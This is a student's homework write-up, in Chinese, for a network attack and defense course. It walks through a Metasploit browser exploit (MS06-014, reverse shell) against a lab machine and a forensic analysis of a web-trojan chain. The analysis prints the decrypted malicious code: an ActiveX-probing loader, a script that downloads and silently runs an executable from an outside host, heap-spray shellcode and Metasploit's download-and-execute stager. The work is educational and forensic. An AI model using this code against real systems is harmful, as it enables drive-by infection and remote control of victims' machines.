20252914 2025-2026-2 《网络攻防实践》第11次作业
20252914 2025-2026-2 《网络攻防实践》第11周作业
1.知识点梳理与总结
一、Web 浏览器渗透攻击相关知识点
1. 浏览器端漏洞利用
该实验属于典型的客户端攻击,攻击目标是靶机用户本地的浏览器或浏览器组件。用户访问恶意网页后,网页中的脚本触发浏览器漏洞,从而执行攻击者指定的 payload。
核心知识点包括:
- 浏览器漏洞利用机制;
- ActiveX、脚本引擎、插件等浏览器组件风险;
- 客户端攻击与服务器端攻击的区别;
- 漏洞触发条件与靶机环境匹配问题;
- 浏览器版本、系统补丁、插件配置对攻击成功率的影响。
2. MS06-014 漏洞
MS06-014 是微软早期的一个浏览器相关远程代码执行漏洞,常与 Internet Explorer、ActiveX 控件、MDAC 组件相关。攻击者可以通过构造恶意网页,使受害者浏览器加载特定脚本或对象,从而触发漏洞并执行代码。
- 漏洞编号与漏洞公告的含义;
- 远程代码执行漏洞的基本原理;
- 浏览器访问恶意网页后触发漏洞的过程;
- 老旧系统和未打补丁浏览器的安全风险。
3. Metasploit 框架
Metasploit 是常用的渗透测试框架,实验中主要涉及以下概念:
| 概念 | 含义 |
|---|---|
| Exploit | 漏洞利用模块,用于触发目标漏洞 |
| Payload | 漏洞成功后执行的载荷,如远程 Shell |
| Session | 攻击成功后建立的远程控制会话 |
| RHOST/LHOST | 目标地址/本机监听地址 |
| SRVHOST/SRVPORT | 恶意网页服务监听地址和端口 |
| URI/URL 参数 | 靶机访问恶意页面的路径 |
4. Payload 与远程 Shell
Payload 是漏洞利用成功后真正执行的部分。实验中选择远程 Shell 类 payload,目的是在靶机上建立一个可远程执行命令的通道。
相关知识点包括:
- 正向连接 Shell 与反向连接 Shell;
- 攻击机监听与靶机回连;
- Session 建立后的命令执行;
- 权限、进程、网络连接与系统环境信息查看;
- 远程控制行为的安全风险。
二、网页木马取证分析相关知识点
1. 网页木马攻击链
网页木马通常是一条多阶段攻击链。常见流程为:
入口页面
↓
跳转页面 / 加密脚本
↓
解密出下一级 URL
↓
下载脚本或二进制文件
↓
继续解密或执行恶意程序
↓
完成漏洞利用、木马下载或远程控制
因此,取证分析不能只看入口页面,而要逐层追踪所有被引用、解密、下载或执行的文件。
2. 脚本混淆与解混淆
网页木马常使用 JavaScript、VBScript、HTML 嵌套脚本等方式隐藏真实攻击代码。常见混淆手段包括:
- 字符串拼接;
- 十六进制编码;
- Unicode 编码;
- escape/unescape 编码;
- eval 动态执行;
- document.write 动态写入;
- 多层跳转;
- 加密后的 URL 或脚本片段。
分析时需要关注:
- 哪些代码负责隐藏真实地址;
- 哪些代码负责解密;
- 哪些代码负责触发漏洞;
- 哪些代码负责下载后续文件;
- 是否存在条件判断,例如浏览器版本判断、系统语言判断、插件检测等。
3. MD5 散列与文件定位
- 哈希值可用于文件标识;
- MD5 可用于快速匹配样本;
- 恶意样本可能通过哈希命名隐藏真实路径;
- 分析人员需要根据解密出的 URL 继续定位后续样本;
- 文件扩展名缺失时,需要通过文件头判断类型。
例如:
| 文件类型 | 常见文件头 |
|---|---|
| HTML/JS | 文本内容,含 script、html 等标记 |
| PE 程序 | MZ 文件头 |
| 压缩包 | PK、Rar! 等 |
| 图片伪装文件 | 可能扩展名与真实内容不一致 |
4. 静态分析与动态分析
当解密出的地址指向二进制程序文件时,需要进一步分析样本行为。
静态分析关注:
- 文件类型;
- 文件头;
- 字符串信息;
- 导入表;
- 可疑 API;
- 节区信息;
- 壳或加壳迹象;
- 反汇编代码逻辑。
动态分析关注:
- 进程行为;
- 文件创建;
- 注册表修改;
- 网络连接;
- 下载行为;
- 持久化机制;
- 进程注入;
- 命令执行;
- 与远程服务器通信。
5. 取证分析结果整理
最终应形成完整的攻击链条说明,包括:
入口文件 → 解密方式 → 下一级地址 → 文件哈希 → 文件类型 → 功能判断 → 最终行为
建议记录以下内容:
| 项目 | 内容 |
|---|---|
| 文件名/哈希 | 样本标识 |
| 文件类型 | HTML、JS、EXE、DLL 等 |
| 来源地址 | 解密出的 URL |
| 作用 | 跳转、解密、利用漏洞、下载木马等 |
| 关键代码 | 主要脚本逻辑或函数 |
| 风险行为 | 远程控制、下载执行、信息窃取等 |
| IOC | 域名、IP、URL、文件哈希、注册表项等 |
2.实验过程
一、web浏览器渗透攻击
启动Kali攻击机与Win2KServer靶机,查看其IP地址:
Kali攻击机(192.168.200.6):

Win2KServer靶机(192.168.200.8):

连通性测试:

之后在Kali攻击机中执行指令:
sudo msfconsole
search MS06-014
启动 Metasploit 控制台,搜索 MS06-014 对应的漏洞模块:

use 0(即使用exploit/windows/browser/ie_createobject模块):

set payload generic/shell_reverse_tcp(反向连接载荷):

set RHOST 192.168.200.8
set LHOST 192.168.200.6

exploit开始生成网页木马服务:

在Win2KServer靶机中打开:http://192.168.200.6:8080/bVOyrZw:

在kali攻击机中执行命令sessions查看连接:

指令指令sessions -i 3:

攻击成功
二、取证分析实践—网页木马攻击场景分析
将下载的start.html文件粘贴到WinXP桌面:

用记事本打开start.html,查找new09.htm:


由于缺少new09.htm文件,参考教程得知该文件代码为:
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>
<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>
计算 http://js.users.51.la/1299644.js 的MD5值(23180a42a2ff1192150231b44ffdf3d3):

计算 http://aa.18dd.net/aa/kl.htm 的MD5值(7f60672dcd6b5e90b6772545ee219bd3):

下载解压网页挂马分析实践压缩包:

打开7f60672dcd6b5e90b6772545ee219bd3文件:


t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));

转换后得到密钥script
解密得到:

十六进制密文转为字符后:

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}
这段代码是一个多分支网页木马加载器。它通过 ActiveX 控件检测判断靶机安装了哪些易受攻击组件,然后分别加载不同的后续攻击脚本:
| 检测对象 | 可能对应目标 | 后续文件 |
|---|---|---|
Adodb.Stream |
IE / ActiveX 文件操作相关漏洞 | 1.js |
MPS.StormPlayer |
暴风影音 ActiveX 控件 | b.js |
POWERPLAYER.PowerPlayerCtrl.1 |
PPS 播放器 ActiveX 控件 | pps.js |
BaiduBar.Tool |
百度工具栏 ActiveX 控件 | bd.cab / bd.exe |
http://aa.18dd.net/aa/1.js:5D7E9058A857AA2ABEE820D5473C5FA4


解密:

var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open
("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close
();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}
http://aa.18dd.net/aa/b.js:3870c28cc279d457746b3796a262f166


http://aa.18dd.net/aa/pps.js:5f0b8bf0385314dbe0e5ec95e6abedc2


/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer

http://down.18dd.net/bb/bd.cab:1C1D7B3539A617517C49EEE4120783B2


该文件为压缩文件
在kali中解压缩cabextract 1c1d7b3539a617517c49eee4120783b2:

得到bd.exe:

进行反汇编:


可以看到有大量恶意代码文件字符。
三、攻防对抗实践—web浏览器渗透攻击攻防
攻击方与实验1步骤相同:

得到恶意URL:
http://192.168.200.6:8080/veBVt1Go3vkwW
防守方打开该URL:


将内容复制,进行html格式化与压缩后:

-
- 入口函数
页面加载时执行:
-
- uRciGy(o,n):尝试创建系统对象
function uRciGy(o,n){
var r=null;
try{eval("r=o.CreateObject(n)")}catch(e){}
...
try{eval("r=o.GetObject(n)")}catch(e){}
return(r)
}
- uRciGy(o,n):尝试创建系统对象
这个函数的作用是:
尝试通过某个 ActiveX 对象 o 创建指定的 COM 对象 n。
它尝试了多种调用方式:
o.CreateObject(n)
o.CreateObject(n,'')
o.CreateObject(n,'','')
o.GetObject('',n)
o.GetObject(n,'')
o.GetObject(n)
后面尝试创建两个高危对象:
WScript.Shell
ADODB.Stream
其中:
| 对象 | 作用 |
|---|---|
WScript.Shell |
执行本地程序、访问环境变量 |
ADODB.Stream |
读写二进制文件,可用于保存下载内容 |
-
- RgmWNsAUCFLZnFpOM():遍历可利用 ActiveX 控件
var t=new Array(
'{BD96C556-65A3-11D0-983A-00C04FC29E36}',
'{BD96C556-65A3-11D0-983A-00C04FC29E30}',
...
'{0006F033-0000-0000-C000-000000000046}',
'{0006F03A-0000-0000-C000-000000000046}',
null);
- RgmWNsAUCFLZnFpOM():遍历可利用 ActiveX 控件
这里定义了一组 CLSID,然后逐个尝试创建 ActiveX 对象:
a=document.createElement("object");
a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))
其目的不是直接利用某一个固定控件,而是批量尝试多个可能支持 CreateObject 或 GetObject 的 ActiveX 控件。
如果某个控件能够进一步创建:
WScript.Shell
则说明该控件具备危险能力,随后进入下载执行阶段:
mLFpLZvLpXUziWIrfUFXxFEQ(a);
-
- mLFpLZvLpXUziWIrfUFXxFEQ(a):下载并执行 payload
-
4.1 创建关键对象
var s=uRciGy(a,"WScript.Shell");
var o=uRciGy(a,"ADODB.Stream");
其中:
s 用于执行程序;
o 用于保存下载的二进制内容。
-
4.2 构造下载地址
var url=document.location+'/payload'; -
4.3 构造本地保存路径
var bin=e.Item("TEMP")+"\OycLuBLZxmUYdr.exe";
读取系统环境变量 TEMP,然后把下载的文件保存为:
%TEMP%\OycLuBLZxmUYdr.exe
- 4.4 下载 payload
xml.open("GET",url,false);
xml.send(null);
dat=xml.responseBody;
代码兼容了多种对象:
XMLHttpRequest
Microsoft.XMLHTTP
MSXML2.ServerXMLHTTP
- 4.5 保存并执行
o.Type=1;
o.Mode=3;
o.Open();
o.Write(dat);
o.SaveToFile(bin,2);
s.Run(bin,0)
3.学习中遇到的问题及解决
- 问题一:Metasploit PostgreSQL 字符集校对版本不匹配警告
![image]()
- 解决方式:
- 切换 postgres 用户登录 psql
sudo -u postgres psql - 执行刷新校对版本命令
ALTER DATABASE msf REFRESH COLLATION VERSION;
执行无报错即修复完成,退出 psql:
\q - 重启 postgresql 与 msf 验证
重启数据库服务
sudo systemctl restart postgresql
启动msfconsole测试
msfconsole
4.学习感悟
通过本次实验,我对 Web 浏览器渗透攻击和网页木马的基本流程有了更直观的认识。实验中,攻击者通过构造恶意网页,引导靶机浏览器访问,从而利用浏览器或 ActiveX 控件漏洞执行恶意代码。这让我认识到,浏览器和插件如果不及时更新,很容易成为系统被攻击的入口。在取证分析过程中,我了解到网页木马通常会通过隐藏 iframe、脚本混淆、跳转链接和下载载荷等方式分阶段执行。分析时需要逐步查看网页源码,提取可疑地址,分析脚本功能,最终还原攻击链。本次实验让我认识到,网络攻击往往具有隐蔽性和连续性,防御时不能只关注单个文件或单个链接,而应结合网页代码、网络请求、文件行为和系统日志进行综合分析。同时,也应加强补丁更新、浏览器安全配置和安全意识,减少此类攻击带来的风险。


浙公网安备 33010602011771号